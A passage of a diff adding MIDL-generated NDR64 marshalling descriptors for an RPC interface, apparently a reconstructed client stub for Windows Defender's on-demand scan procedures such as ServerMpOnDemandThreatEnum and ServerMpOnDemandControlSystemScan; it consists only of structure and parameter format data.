0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag230_t __midl_frag230 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 84 /* 0x54 */ + } +}; + +static const __midl_frag229_t __midl_frag229 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag230 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag227_t __midl_frag227 = +{ +/* Struct_1232_t */ + { + /* Struct_1232_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1232_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 272 /* 0x110 */, + 0, + 0, + &__midl_frag238, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag241 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag240 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag241 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag242 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_1232_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag223_t __midl_frag223 = +{ +/* Proc14_ServerMpOnDemandThreatEnum */ + { + /* Proc14_ServerMpOnDemandThreatEnum */ /* procedure Proc14_ServerMpOnDemandThreatEnum */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1035, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag216_t __midl_frag216 = +{ +/* Proc13_ServerMpOnDemandThreatOpen */ + { + /* Proc13_ServerMpOnDemandThreatOpen */ /* procedure Proc13_ServerMpOnDemandThreatOpen */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1140, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1142, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag210_t __midl_frag210 = +{ +/* Proc12_ServerMpOnDemandCloseScan */ + { + /* Proc12_ServerMpOnDemandCloseScan */ /* procedure Proc12_ServerMpOnDemandCloseScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag204_t __midl_frag204 = +{ +/* Proc11_ServerMpOnDemandPersistScan */ + { + /* Proc11_ServerMpOnDemandPersistScan */ /* procedure Proc11_ServerMpOnDemandPersistScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag199_t __midl_frag199 = +{ +/* Proc10_ServerMpOnDemandControlSystemScan */ + { + /* Proc10_ServerMpOnDemandControlSystemScan */ /* procedure Proc10_ServerMpOnDemandControlSystemScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag189_t __midl_frag189 = +{ +/* Struct_78_t */ + { + /* Struct_78_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_78_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 144 /* 0x90 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* Struct_78_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + (NDR64_UINT16) 144 /* 0x90 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag188_t __midl_frag188 = +{ +/* *Struct_78_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + 